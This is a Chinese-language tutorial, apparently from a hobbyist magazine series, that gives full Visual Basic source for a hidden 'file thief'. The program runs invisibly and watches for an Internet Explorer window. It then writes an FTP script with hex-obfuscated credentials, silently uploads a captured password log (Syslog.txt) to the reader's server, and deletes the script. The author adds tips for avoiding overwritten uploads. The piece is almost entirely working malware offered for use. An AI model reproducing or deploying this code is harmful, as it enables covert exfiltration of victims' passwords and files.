还记得第一期中推出的文件上传器吗?吹得出神入化的,到最后却不露面。是不是有些失望?这期推出了文件小偷,望大家喜欢。
  先在模块中声明一下我们的作案工具。
Public Declare Function GetTopWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetNextWindow Lib "user32" Alias "GetWindow" (ByVal hwnd As Long, ByVal wFlag As Long) As Long
Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const GW_HWNDNEXT = 2
  然后在窗体中放入一个“Timer”,设Interval为100,在Form_Load中写上Me.Hide。每次都是这几句话,到现在还没变。
  再为“Timer”写代码:
Private Sub Timer1_Timer()
    Dim myString As String * 100
    myWnd& = GetTopWindow(0)

    Do
        GetWindowText myWnd&, myString, 100

        myString = Left$(myString, InStr(myString, Chr$(0)))

        If GetWindowTextLength(myWnd&) <> 0 Then
            If InStr(myString, "Internet Explorer") <> 0 Then
                doBad myWnd&
            End If
        End If

        myWnd& = GetNextWindow(myWnd&, GW_HWNDNEXT)
    Loop Until myWnd& = 0
End Sub
  能运行了吗?现在还不能。在End Sub后面空白部分再加上以下代码:
Private Sub doBad(hwnd As Long)
    file$ = Environ$("TEMP")
    Open file$ & "\test.tmp" For Output As #1
    
    '这行换为你的主页的地址
    Print #1, "o 127.0.0.1"
    Print #1, "user Anonymous" '这一行需要被修改为你的主页的Domain Name

    '为了你的主页的安全,请不要在这里直接写出你的主页的密码,应该采取一定的加密措施,运行时再解密
    '我使用的加密方法是写做16进制代码。这里的密码为abcd
    '如果你对你的主页的安全毫不关心的话,unHex$和后边的UnCode$都可以被删去
    Print #1, "pass " & unHex$("61626364")
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & Environ$("windir") & "\System\Syslog.txt"
    Print #1, "quit"
    Close #1

    Shell "command.com /c ftp.exe -n -s:" & file$ & "\test.tmp", vbHide '调用Ftp上传到你的主页上去
    Kill file$ '删除Ftp脚本
    End '任务胜利完成!离开!

    '一点建议:
    '最好能将Syslog.txt改名后再上传
    '这样后面传的文件就不会将前面的覆盖掉
    '可以使用随机数来生成文件名
    '虽不能保证绝对不重名,但重名率毕竟很小了
End Sub

Function unHex$(HexString$)
    HexString$ = UCase$(HexString$)
    
    For i% = 1 To Len(HexString$) Step 2
        iNumber% = unCode(Mid$(HexString$, i%, 1)) * 16
        iNumber% = iNumber% + unCode(Mid$(HexString$, i% + 1, 1))
        
        tmpString$ = tmpString$ & Chr$(iNumber%)
    Next i%
    
    unHex$ = tmpString$
End Function

Function unCode(HexString$) As Integer
    theNumber% = Asc(HexString$)
    
    Select Case theNumber%
    Case 48 To 57
        iNumber% = theNumber% - 48
    Case 65 To 70
        iNumber% = theNumber% - 55
    Case Else
        iNumber% = 0
    End Select
    
    unCode = iNumber%
End Function
  看懂了吗?程序运行时,查找所有的窗体,发现有Internet Explorer,就调用Ftp上传,将C:\Windows\System\SysLog.txt上传到你的主页上去。什么,问我Syslog.txt是什么东西?请阅读第三期的《看看你的密码》。
  喂,找什么?C++的免安装版本?我没办法给。第一,程序需要根据你的网站名称和地址,修改源代码重新编译,我没法给出适合你的版本。第二,这东西危害挺大的,我要限制它的功能,不能免安装,它就不能危害社会了,只能供你自娱。其实,利用你已有的VB知识,修改一下第四期的《窗口杀手》也就可以做出这个程序了。如果我亲自为你做的话,也太抹煞了你的创造力了!